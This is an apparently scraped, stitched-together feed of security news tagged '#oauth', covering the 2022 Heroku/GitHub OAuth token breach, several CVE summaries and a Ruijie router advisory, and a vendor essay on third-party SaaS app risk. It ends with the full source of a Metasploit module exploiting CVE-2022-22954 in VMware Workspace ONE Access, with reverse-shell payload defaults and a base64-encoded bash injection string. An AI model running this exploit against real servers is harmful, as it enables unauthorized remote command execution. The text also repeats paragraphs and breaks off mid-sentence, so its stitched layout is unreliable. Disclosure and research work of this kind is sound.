The same attack that allowed a threat actor to steal data from private Heroku GitHub repositories also resulted in the compromise of customer credentials, the company now says.

Salesforce subsidiary Heroku on Thursday said that the threat actor that stole Heroku GitHub integration OAuth tokens in April also accessed an internal database containing hashed and salted passwords belonging to the company's customers.

The discovery prompted Heroku to force a reset of all compromised user passwords and rotate internal Heroku credentials as well. In a security notification, which the company has been constantly updating since April 15, Heroku said it had also put additional detection mechanisms in place to mitigate future issues, without elaborating on what they were.

"We continue to work diligently in response to this Heroku incident first announced on April 15, 2022," the platform-as-a-service vendor said. "We worked with GitHub, our threat intelligence vendors, other industry partners, and have been in touch with law enforcement to assist in our investigation."

**Refresher: The Original GitHub Repo Breach**  
GitHub on April 13 disclosed to Heroku that it had detected a threat actor downloading a subset of Heroku's GitHub private repositories, including source code, on April 9. Heroku said GitHub had notified it about the threat actor gaining access to OAuth tokens issued to the company and using them to enumerate customer accounts. Heroku described the tokens as giving the threat actor read and write access to private customer GitHub repos connected to Heroku.

In an April 15 blog, GitHub CSO Mike Hanley said the threat actor used OAuth user tokens issued to Heroku and another third-party integrator, Travis-CI, to download data from repositories belonging to dozens of organizations, including npm, the node package manager used by millions of developers worldwide.

Hanley said GitHub's investigation showed the attackers also mined the contents of the downloaded GitHub private repositories for data that could be used to attack other infrastructure. He added that the attacks appeared highly targeted because of the way the attackers used the stolen OAuth tokens: First, they listed all the impacted organizations, then selected private repositories of interest and cloned them.

Heroku's investigation of the incident showed that the threat actor had used a stolen OAuth token associated with an internal "machine account" to access a Heroku database containing OAuth tokens that are used for customer GitHub integration.

The threat actor gained access to the Heroku database on April 7 and downloaded the stored tokens — then used them to download customer data two days later, Heroku said. Following that discovery, Heroku revoked all its GitHub integration OAuth tokens to prevent customers from deploying apps via GitHub using Heroku's dashboard or automation.

**Broader Impact Than Initially Assumed**  
Heroku on Thursday said that its ongoing investigation of the breach showed the attacker had used the same machine-account OAuth token to access the internal database containing the hashed usernames and passwords belonging to the company's customers.

The incident has highlighted why organizations need to pay close attention to the security of their OAuth authentication mechanisms, security experts say.

Casey Bisson, head of product and developer relations at BluBracket, says an attack using OAuth tokens can interact with the service that issued the tokens using all the permissions that were granted to the original client. "People and companies depend on OAuth integrations to securely allow another service to access code in private repos, as is needed to support CI tests and run code coverage reports," he says, pointing to two examples.

**OAuth: Better Account Protection, As Long as Tokens Are Safe**  
Compared to the alternative of sharing passwords between services, OAuth tokens enable more secure data sharing. For example, if it had been passwords that were stolen, the level of access the attackers might have gained would likely be even greater. And the initial mitigation and long-term fix would become more complex, Bisson says.

However, OAuth tokens are commonly used to automate cloud services such as code repositories and DevOps pipelines, notes Ray Kelly, fellow at NTT Application Security. So, a malicious actor with a stolen token can steal corporate IP or modify source code in repositories such as GitHub. Or they could use it to spread malware or steal sensitive data from organizations, he says. "Special care should always be taken when it comes to protecting tokens. They should never be publicly available or shared outside of the organization," Kelly says.

GitHub itself has said that starting the end of 2023, it would require all developers who contribute code to the repository to use multifactor authentication to access their accounts. The company described it as a move designed to bolster the security of code and IP stored in GitHub repositories amid a surge in attacks targeting the software supply chain.

Heroku: Cyberattacker Used Stolen OAuth Tokens to Steal Customer Account Credentials

Hack investigation blames compromised token for breach

John Leyden 05 May 2022 at 14:10 UTC

Hack investigation blames compromised token for breach

A recently disclosed cyber-attack against Heroku that involved GitHub may be far more severe than first suspected.

Heroku, the Salesforce-owned cloud application platform, began the forced reset of user passwords on May 4.

In the early hours of Thursday (May 5), Heroku published an update implying that the as-yet unidentified attackers accessed data from its core database as a result of the attack.

The incident, previously disclosed on April 15, led to the exposure of GitHub integration OAuth tokens. This was the topic of a separate update by GitHub last week.

**RELATED** GitHub offers post-mortem on recent security breach

  

These credentials were exposed as a result of a successful attack against Heroku, as the cloud firm’s latest update explains:

On April 7, 2022, a threat actor gained access to a Heroku database and downloaded stored customer GitHub integration OAuth tokens. Access to the environment was achieved by leveraging a compromised token for a Heroku machine account.

**Compromised tokens**

Evidence suggests the attacker was able to use metadata to link customer repositories with OAuth tokens before the attacker “downloaded a subset of the Heroku private GitHub repositories from GitHub, containing some Heroku source code”.

This element of the attack, which took place on April 9, was detected by GitHub on April 12 and notified to Heroku a day later.

Read more of the latest hacking news

In response, Heroku launched an investigation that quickly resulted in the “revocation of all GitHub integration OAuth tokens, preventing customers from deploying apps from GitHub through the Heroku dashboard or via automation”.

In the latest development, Heroku’s ongoing investigation has revealed that the compromised token for a Heroku machine account enabled attackers to “gain access to a database and exfiltrate the hashed and salted passwords for customers’ user accounts”.

**Password reset**

This discovery precipitated the reset of a subset of Heroku customer passwords this week.

“Salesforce is ensuring all Heroku user passwords are reset and potentially affected credentials are refreshed,” Heroku’s update concluded.

“We have rotated internal Heroku credentials and put additional detections in place. We are continuing to investigate the source of the token compromise.”

_The Daily Swig_ asked Heroku to confirm the root cause of the breach and to outline how many accounts were potentially affected. We’ll update this story as and when more information comes to hand.

**DON’T FORGET TO READ** India to introduce six-hour data breach notification rule

Heroku resets user passwords after concluding April cyber-attack ran deep

Salesforce-owned subsidiary Heroku on Thursday acknowledged that the theft of GitHub integration OAuth tokens further involved unauthorized access to an internal customer database.
The company, in an updated notification, revealed that a compromised token was abused to breach the database and "exfiltrate the hashed and salted passwords for customers' user accounts."
As a consequence, Salesforce

Salesforce-owned subsidiary Heroku on Thursday acknowledged that the theft of GitHub integration OAuth tokens further involved unauthorized access to an internal customer database.

The company, in an updated notification, revealed that a compromised token was abused to breach the database and "exfiltrate the hashed and salted passwords for customers' user accounts."

As a consequence, Salesforce said it's resetting all Heroku user passwords and ensuring that potentially affected credentials are refreshed. It also emphasized that internal Heroku credentials were rotated and extra detections have been put in place.

The attack campaign, which GitHub discovered on April 12, related to an unidentified actor leveraging stolen OAuth user tokens issued to two third-party OAuth integrators, Heroku and Travis-CI, to download data from dozens of organizations, including NPM.

The timeline of events as shared by the cloud platform is as follows -

*   **April 7, 2022** - Threat actor obtains access to a Heroku database and downloads stored customer OAuth access tokens used for GitHub integration.
*   **April 8, 2022** - Attacker enumerates metadata about customer repositories using the stolen tokens.
*   **April 9, 2022** - Attacker downloads a subset of Heroku private repositories from GitHub

GitHub, last week, characterized the attack as highly targeted, adding the adversary was "only listing organizations in order to identify accounts to selectively target for listing and downloading private repositories."

Heroku has since revoked all the access tokens and removed support for deploying apps from GitHub through the Heroku Dashboard to ascertain that "the integration is secure before we re-enable this functionality."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Heroku Forces User Password Resets Following GitHub OAuth Token Theft

In H3C MagicR100 <=V100R005, the / Ajax / ajaxget interface can be accessed without authorization. It sends a large amount of data through ajaxmsg to carry out DOS attack.

CVE-2022-28940: 0day/新华三magicR100存在DOS攻击漏洞分析.md at main · zhefox/0day

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW_3.0(1)B11P55 via the updateVersion function in /cgi-bin/luci/api/wireless.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: Minh-Khoa Tran <khoa () posteo de>  
_Date_: Mon, 02 May 2022 12:13:18 +0000  

Advisory: Multiple Vulnerabilities in Ruijie RG-EW Series Routers

=======
Summary
=======

Multiple vulnerabilities was found in Ruijie RG-EW Series Routers from
Ruijie Networks, including 1 pre-authenticated and 5 post-authenticated
Remote Code Execution (RCE).

==============
CVE-2021-43159
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the setSessionTime function in /cgi-bin/luci/api/common.

## Details

- Type: Post-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/common.lua
    Function: setSessionTime
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

==============
CVE-2021-43160
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the switchFastDhcp function in /cgi-bin/luci/api/diagnose.

## Details

- Type: Post-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/diagnose.lua
    Function: switchFastDhcp
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

==============
CVE-2021-43161
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the doSwitchApi function in /cgi-bin/luci/api/switch.

## Details
- Type: Post-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/switch.lua
    Function: doSwitchApi
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

==============
CVE-2021-43162
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the runPackDiagnose function in /cgi-bin/luci/api/diagnose.

## Details

- Type: Post-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/diagnose.lua
    Function: runPackDiagnose
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

==============
CVE-2021-43163
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the checkNet function in /cgi-bin/luci/api/auth.

## Details

- Type: Pre-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/noauth.lua
    Function: checkNet
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

==============
CVE-2021-43164
==============

## Description

A Remote Code Execution (RCE) vulnerability exists in Ruijie Networks
Ruijie RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW\_3.0(1)B11P55
via the updateVersion function in /cgi-bin/luci/api/wireless.

## Details

- Type: Post-authenticated RCE / Command Injection
- Discoverer: Minh Khoa of VSEC
- Affected Component:
    File: /usr/lib/lua/luci/modules/wireless.lua
    Function: updateVersion
- Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

--
Khoa
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

**Current thread:**

*   **Multiple Vulnerabilities in Ruijie RG-EW Series Routers** _Minh-Khoa Tran (May 02)_

CVE-2021-43164: Multiple Vulnerabilities in Ruijie RG-EW Series Routers

Mattermost Playbooks plugin 1.25 and earlier fails to properly restrict user-level permissions, which allows playbook members to escalate their membership privileges and perform actions restricted to playbook admins.

CVE-2022-1548: Security Updates

By providing these apps and other add-ons for SaaS platforms and associated permissions, businesses present bad actors with more opportunities to gain access to company data.

Actions that a user takes from creating an email to updating a contact in the CRM system can result in several other automatic actions and notifications in the connected platforms. However, this SaaS-to-SaaS communication and supply chain is an emerging threat in the corporate cybersecurity landscape.

It bears repeating: Third-party app access is the new executable file. An innocuous process much like clicking on an email attachment, people don't think twice when connecting an app they need with their Google Workspace or Microsoft 365 environment. These third-party apps can boost productivity, enable remote and hybrid work, and are overall essential in building and scaling a company's work processes.

The OAuth mechanism makes it extremely easy to interconnect apps, and many users simply click "accept" without considering what permissions these apps are asking for — or what the possible ramifications could be. By providing these apps and other add-ons for SaaS platforms with permissions' access, businesses are presenting more opportunities for bad actors to gain access to a company's data. This puts companies at risk for supply chain access attacks, API takeovers, and malicious third-party apps. Once a bad actor is able to infiltrate one platform, they potentially have access to all of the users' connected SaaS apps.

Nowadays, when it comes to local machines and executable files, organizations already have control built in that enables security teams to block problematic programs and files. It needs to be the same when it comes to SaaS apps.

We conducted field research from within our customers' environments to identify just how many third-party apps were connected to their instances of Google Workspace, M365, and Salesforce. On average, there were approximately 150 SaaS apps connected to these business-critical apps**,** unbeknownst to the security team.

OAuth 2.0 has greatly simplified authentication and authorization, and offers a fine-grained delegation of access rights. Represented in the form of scopes, an application asks for the user's authorization for specific permissions. An app can request one or more scopes. Through approval of the scopes, the user grants these apps permissions to execute code to perform logic behind the scenes within their environment. These apps can be harmless or as threatening as an executable file.

Third-party app access is just one component of the SaaS security posture management picture. Recent surveys have shown that an enterprise with 1,000 or more employees is likely to use more than 150 SaaS apps to run the business. While each individual SaaS app comes with built-in native security controls, it is up to the organization to ensure that all the configurations and user permissions are correct.

Further complicating matters is the fact that no two apps are the same — each has unique terminology, environment, and organization of their security configurations. Understanding every app's "language" and managing the complex, ever-changing environment, now with the additional third-party app access risk, opens organizations up to even more exposure and vulnerability.

**Best Practices to Mitigate Third-Party App Access Risk  
**To secure a company's SaaS stack, the security team needs to be able to identify and monitor all that happens within their SaaS ecosystem. Here's what a security team can share with employees and handle themselves to mitigate third-party app access risk. 

**Educate Employees  
**The first step in cybersecurity always comes back to raising awareness. Once employees become more aware of the risks and dangers that these OAuth mechanisms present, they will be more hesitant to use them. Organizations should also create a policy that requires employees to submit requests for third-party apps.

**Get Visibility Into Third-Party Access for All Business-Critical Apps  
**Security teams should gain visibility into every business-critical app and review all the different third-party apps that have been integrated with their business-critical SaaS apps — across all tenets. One of the first steps when shrinking the threat surface is gaining an understanding of the full environment.

**Map Permissions and Access Levels Requested by Connected Third-Party Apps  
**Once the security team knows which third party apps are connected, it should map the permissions and the types of access that each third-party app has been given. From there, it will be able to see which third-party app presents a higher risk. Being able to differentiate between an app that can read versus an app that can write will help the security team prioritize which needs to be handled first.

In addition, the security team should map which users granted these permissions. For example, a high-privileged user, someone who has sensitive documents in their workspace, who grants access to a third-party app can present a high risk to the company, and this needs to be remediated immediately.

These best practices are just the start for a cybersecurity department to better ensure its organization's SaaS security hygiene remains intact.

Third-Party App Access Is the New Executable File

The vulnerability is that IDToken verifier does not verify if token is properly signed. Signature verification makes sure that the token's payload comes from valid provider, not from someone else. An attacker can provide a compromised token with custom payload. The token will pass the validation on the client side. We recommend upgrading to version 1.33.3 or above

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-22573: chore(main): release 1.33.3 by release-please[bot] · Pull Request #872 · googleapis/google-oauth-java-client

This Metasploit module exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) vulnerability in VMware Workspace ONE Access, to execute shell commands as the horizon user.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VMware Workspace ONE Access CVE-2022-22954',        'Description' => %q{          This module exploits CVE-2022-22954, an unauthenticated server-side          template injection (SSTI) in VMware Workspace ONE Access, to execute          shell commands as the "horizon" user.        },        'Author' => [          'mr_me', # Discovery          'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC          'wvu' # Exploit and independent analysis        ],        'References' => [          ['CVE', '2022-22954'],          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],          ['URL', 'https://srcincite.io/advisories/src-2022-0005/'],          ['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],          ['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']          # More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433        ],        'DisclosureDate' => '2022-04-06',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :dropper,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")    return CheckCode::Unknown unless ret    return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)    CheckCode::Vulnerable  end  def exploit    print_status("Executing #{payload_instance.refname} (#{target.name})")    case target['Type']    when :cmd      execute_command(payload.encoded)    when :dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"    vprint_status("Executing command: #{bash_cmd}")    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, ssti_uri),      'vhost' => rand_text_alphanumeric(8..16),      'vars_get' => {        %w[code error].sample => rand_text_alphanumeric(8..16),        # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html        ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})      }    }, 3.5)    return unless res    return '' unless res.code == 400 && res.body.include?('auth.context.invalid')    res.body  end  def ssti_uri    %w[      /catalog-portal/hub-ui      /catalog-portal/hub-ui/byob      /catalog-portal/ui      /catalog-portal/ui/oauth/verify    ].sample  end  def ssti_param    %w[deviceType deviceUdid].sample  endend

Tag

#oauth